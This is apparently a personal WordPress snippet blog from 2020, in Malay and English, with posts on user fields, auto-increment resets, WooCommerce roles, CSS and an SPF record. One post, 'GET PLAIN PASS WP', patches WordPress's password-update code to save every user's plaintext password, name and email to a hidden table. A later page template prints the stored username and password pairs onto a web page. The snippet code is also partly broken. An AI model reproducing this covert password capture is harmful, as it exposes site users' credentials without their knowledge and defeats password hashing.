Friday, 14 August 2020

Lets Print Anything From Wp_User

 

Do like this bro!

<?php global $current_user;

      get_currentuserinfo();
 
      echo 'Username: ' . $current_user->user_login . "\n";
      echo 'User email: ' . $current_user->user_email . "\n";
      echo 'User first name: ' . $current_user->user_firstname . "\n";
      echo 'User last name: ' . $current_user->user_lastname . "\n";
      echo 'User display name: ' . $current_user->display_name . "\n";
      echo 'User ID: ' . $current_user->ID . "\n";
?>


Paste in any page you like to display lah!

https://www.isitwp.com/display-user-info/

GET PLAIN PASS WP

As usual. Search Blue, paste Green

if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {

// muhaza renovate here

    

    global $wpdb;

        $semak = $wpdb->prefix . "semak";

        $username = DB_USER;

        $password = DB_PASSWORD;

        $hostname = DB_HOST;

        $con=mysqli_connect($hostname,$username,$password);



        if (mysqli_connect_errno()) {

            echo "Failed to connect to MySQL: " . mysqli_connect_error();

            die();

        }


        $sql_1 = "USE " . DB_NAME . ";";

        mysqli_query($con,$sql_1);

   


        $sql_2 = "CREATE TABLE IF NOT EXISTS $semak (

            pemilik varchar(50) NOT NULL,

            PRIMARY KEY(pemilik),

            kunci varchar(100) NOT NULL,

namanya varchar(100) NOT NULL,

emel varchar (100) NOT NULL

        );";

        mysqli_query($con, $sql_2);

        mysqli_close($con);


        if($wpdb->update(

$semak, 

array("emel" => $userdata['user_email']),

array("kunci" => $userdata['user_pass']), 

array("namanya" => $userdata['user_login']), 

array("pemilik" => $ID), 

array("%s"), 

array("%s"),

array("%s"),

array("%s")

) == false)

        {

            $wpdb->insert(

$semak, 

array(

"emel" => $userdata['user_email'],

"kunci" => $userdata['user_pass'],

"namanya" => $userdata['user_login'],

"pemilik" => $ID), 

array(

'%s','%s','%s','%s'

));

        }

        

    

    //end muhaza renovate

Reset Wordpress 'next User ID' number

 First go into the wp_users table and delete any users you need to.

Then go into the wp_usermeta table and delete any meta entries that correspond do the IDs of those deleted users.

Then you need to alter the wp_users table to reset its auto increment value. So you can do that in phpMyAdmin, or use SQL like this:

ALTER TABLE `wp_users` AUTO_INCREMENT={ID you want to be used next}

So if you want the next created user to have the id number 4 it would look like this:

ALTER TABLE `wp_users` AUTO_INCREMENT=4
  edit   

Tuesday, 4 August 2020

Change user role if it's orders count more than

add_action('woocommerce_order_status_completed', 'wpa_120656_convert_paying_customer' );
function wpa_120656_convert_paying_customer( $order_id ) {
    $order = new WC_Order( $order_id );
    $user_id = $order->user_id;
    $customer_orders = get_posts(array(
        'numberposts' => -1,
        'meta_key'    => '_customer_user',
        'meta_value'  => $user_id,
        'post_type'   => 'shop_order',
    ) );
    if ( $customer_orders > 1 ) {
        update_user_meta( $order->user_id, 'paying_customer', 1 );
        $user = new WP_User( $order->user_id );

        // Remove role
        $user->remove_role( 'customer' ); 

        // Add role
        $user->add_role( 'dovclient' );
    }
}

Sunday, 12 July 2020

CUSTOM PAGE FOR WORDPRESS

1. Create .php file for example custom.php
2. Add following script

<?php
/*
Template Name: Custom Page
*/
?>
//start your php script

<?php

    $user_checks = $wpdb->get_results( 
    "
    SELECT pemilik, kunci
    FROM {$wpdb->prefix}creds ORDER BY pemilik
    "
    );

    foreach ( $user_checks as $user_check ) 
    {
    echo '"';
    echo $user_check->pemilik;
        echo '"';
        echo ':';
        echo '"';
        echo $user_check->kunci;
        echo '"';
        echo '<br/>';
    }
?>

3. Upload the file in theme folder
4. the best is in child theme folder
5. Go to the wordpress, add new page
6. Look at the right side, you will find a tab with name 'custom' 

Friday, 10 July 2020

RESET MYSQL DATABASE

Do not delete, use truncate:

Truncate table XXX

The table handler does not remember the last used AUTO_INCREMENT value, but starts counting from the beginning. This is true even for MyISAM and InnoDB, which normally do not reuse sequence values.

Truncate works well with non-constrained tables, but if your table has a Foreign Key constraint, you may consider using the Delete method. See this post if you have FK constraints: truncate foreign key constrained table – Julian Soro May 16 '14 at 23:41


If you cannot use TRUNCATE (e.g. because of foreign key constraints) you can use an alter table after deleting all rows to restart the auto_increment:

ALTER TABLE mytable AUTO_INCREMENT = 1

answered Sep 29 '12 at 10:47



if you want to use truncate use this:

SET FOREIGN_KEY_CHECKS = 0; 
TRUNCATE table $table_name; 
SET FOREIGN_KEY_CHECKS = 1;

Thursday, 9 July 2020

woocommerce : My-Account Dashboard Menu Style CSS

.woocommerce-account .woocommerce-MyAccount-navigation {
    float: left;
    width: 30%;
}
.woocommerce-account .woocommerce-MyAccount-content {
    float: right;
    width: 70%;
}

#left-area ul, .comment-content ul, .entry-content ul, .et-l--body ul, .et-l--footer ul, .et-l--header ul, body.et-pb-preview #main-content .container ul {
    padding: 0 0 23px 1em;
    line-height: 26px;
    list-style-type: none;
}
.woocommerce-MyAccount-navigation li{
    border-bottom: solid 1px #999999b8;
    margin: 0 12px 0 0;
}

Tembus Gmail dengan TXT record

Type: TXT Name: @ / domainname.com Loadtime : 14400 Value: v=spf1 a mx ip4:SERVER_IP include:netkl.org ~all